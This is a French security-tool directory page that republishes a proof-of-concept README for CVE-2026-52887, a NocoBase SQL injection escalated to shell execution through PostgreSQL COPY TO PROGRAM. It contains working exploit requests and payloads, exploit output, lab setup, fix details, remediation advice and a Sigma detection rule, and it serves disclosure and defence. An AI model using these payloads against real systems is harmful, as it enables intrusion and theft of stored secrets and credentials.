Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-52887-NocoBase-SQLi-RCE — CVE-2026-52887 — Injection SQL NocoBase -> RCE superutilisateur PostgreSQL (filtre myInAppChannels:list, CVSS 10.0). PoC de l'auteur + analyse du code source + lab Docker. | Kitploit
Outils/GitHubGitHub/biitts/cve-2026-52887-nocobase-sqli-rce
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionSécurité des Bases de DonnéesLabs et Pratique
GitHubbiitts/cve-2026-52887-nocobase-sqli-rce

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — Injection SQL NocoBase -> RCE superutilisateur PostgreSQL (filtre myInAppChannels:list, CVSS 10.0). PoC de l'auteur + analyse du code source + lab Docker.

Voir le dépôt
il y a 17 joursPas encore vérifié

CVE-2026-52887 — Injection SQL NocoBase → RCE superutilisateur PostgreSQL

Injection SQL dans l'action myInAppChannels:list du plugin @nocobase/plugin-notification-in-app-message de NocoBase (≤ 2.0.60). Le paramètre de requête filter[latestMsgReceiveTimestamp][$lt] est interpolé directement dans une chaîne SQL brute Sequelize.literal() sans échappement ni liaison. Via le support des instructions empilées du driver PostgreSQL pg, l'injection atteint COPY … TO PROGRAM, et comme le compose par défaut du fournisseur crée le rôle de base de données nocobase en tant que superutilisateur, cela permet l'exécution de commandes shell en tant qu'utilisateur système postgres. Le point de terminaison exige un utilisateur connecté, mais le plugin auth-basic par défaut est livré avec l'auto-inscription activée, de sorte que tout visiteur anonyme peut s'inscrire et y accéder.

Cause racine

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, gestionnaire myInAppChannels:list (2.0.57) :

root@kitploit:~
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt provient directement de la requête (filter[latestMsgReceiveTimestamp][$lt]=…) et est concaténé dans un Sequelize.literal() — SQL brut, sans liaison de paramètre ni coercition de type. Un attaquant ferme la comparaison et ajoute du SQL arbitraire.

De SQLi à RCE

  • NocoBase fonctionne sur PostgreSQL via le driver pg, qui autorise les instructions empilées (… ; …). Le fragment injecté ajoute une seconde instruction.
  • Le docker-compose.yml par défaut du fournisseur crée le rôle nocobase via la variable POSTGRES_USER de l'image postgres, qui est toujours un superutilisateur.
  • Un superutilisateur peut exécuter COPY (…) TO PROGRAM '<shell>', ce qui exécute <shell> en tant qu'utilisateur système postgres dans le conteneur de base de données.

Accéder au point de terminaison sans authentification

L'ACL de myInAppChannels est loggedIn, mais le plugin auth-basic par défaut est fourni avec allowSignUp: true. Un attaquant anonyme s'auto-inscrit (POST /api/auth:signUp?authenticator=basic), se connecte pour obtenir un jeton bearer, puis continue — sur une installation par défaut, c'est donc non authentifié en pratique.

Le correctif (2.0.61)

defineMyInAppChannels.ts ajoute parseLatestMsgReceiveTimestampLt(), qui force la valeur à passer par Number() (rejetant les entrées non finies / non numériques avec un code 400) et bascule vers une comparaison à paramètre lié :

root@kitploit:~
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

Preuve de concept

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s  control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Chaîne HTTP brute :

root@kitploit:~
POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd accepte n'importe quelle commande shell (reverse shell, callback OAST, lecture de lignes de la base via COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).

Reproduire le laboratoire

Aucun pont Docker sur cet hôte, exécutez donc les deux conteneurs avec le réseau hôte :

root@kitploit:~
docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

Limite de la version corrigée (rejet) :

root@kitploit:~
docker run ... nocobase/nocobase:2.0.61   # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200

Voir EVIDENCE.txt pour la transcription capturée et ANALYSIS.md pour l'analyse pas à pas au niveau du code source.

Verdict

CONFIRMÉ VULNÉRABLE sur nocobase/nocobase:2.0.57, vérifié par deux techniques indépendantes :

  1. Aveugle basée sur le temps — la charge utile PG_SLEEP(5) retarde la réponse d'environ 5,0 s tandis qu'une requête identique sans le sleep répond en ~0,03 s sur le même point de terminaison (ce qui exclut un limiteur de débit ou un artefact de nouvelle tentative).
  2. RCE par instructions empilées — un fichier qui n'existait pas avant la requête contient uid=999(postgres) gid=999(postgres), la sortie réelle de id(1) exécuté en tant qu'utilisateur système postgres, et non un écho de la charge utile.

CORRIGÉ sur nocobase/nocobase:2.0.61 — les deux charges utiles renvoient une HTTP 400 tandis qu'un $lt numérique renvoie toujours 200.

Impact

Exécution de code à distance en tant qu'utilisateur système postgres dans le conteneur de base de données : lecture/écriture complète de la base NocoBase, divulgation de tous les secrets stockés et identifiants utilisateur, et point d'appui pour un mouvement latéral. Accessible par tout visiteur anonyme sur une installation par défaut.

Remédiation

  • Mettre à niveau vers NocoBase ≥ 2.0.61.
  • Ne pas exécuter le rôle PostgreSQL de l'application en tant que superutilisateur ; n'accorder que les privilèges dont l'application a besoin (supprime la primitive COPY … TO PROGRAM).
  • Désactiver l'auto-inscription publique (allowSignUp: false) lorsque ce n'est pas nécessaire.

Détection

Les requêtes myInAppChannels:list dont la valeur filter[latestMsgReceiveTimestamp][$lt] n'est pas un simple nombre, ainsi que les journaux PostgreSQL contenant COPY … TO PROGRAM :

root@kitploit:~
GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (journal d'accès du serveur web) :

root@kitploit:~
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

Licence

MIT. © Caio Fabrício (BiiTts).

Télécharger l’outil
CVECVE-2026-52887
ProduitNocoBase (@nocobase/plugin-notification-in-app-message)
Versions affectées≤ 2.0.60 (vérifié sur nocobase/nocobase:2.0.57)
Corrigé2.0.61
ClasseInjection SQL (CWE-89) → exécution de commandes OS
CVSS 3.110.0 CRITIQUE — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA)
AuthentificationNon authentifié en pratique — auth-basic par défaut allowSignUp: true
StatutCONFIRMÉ VULNÉRABLE — vérifié de bout en bout sur 2.0.57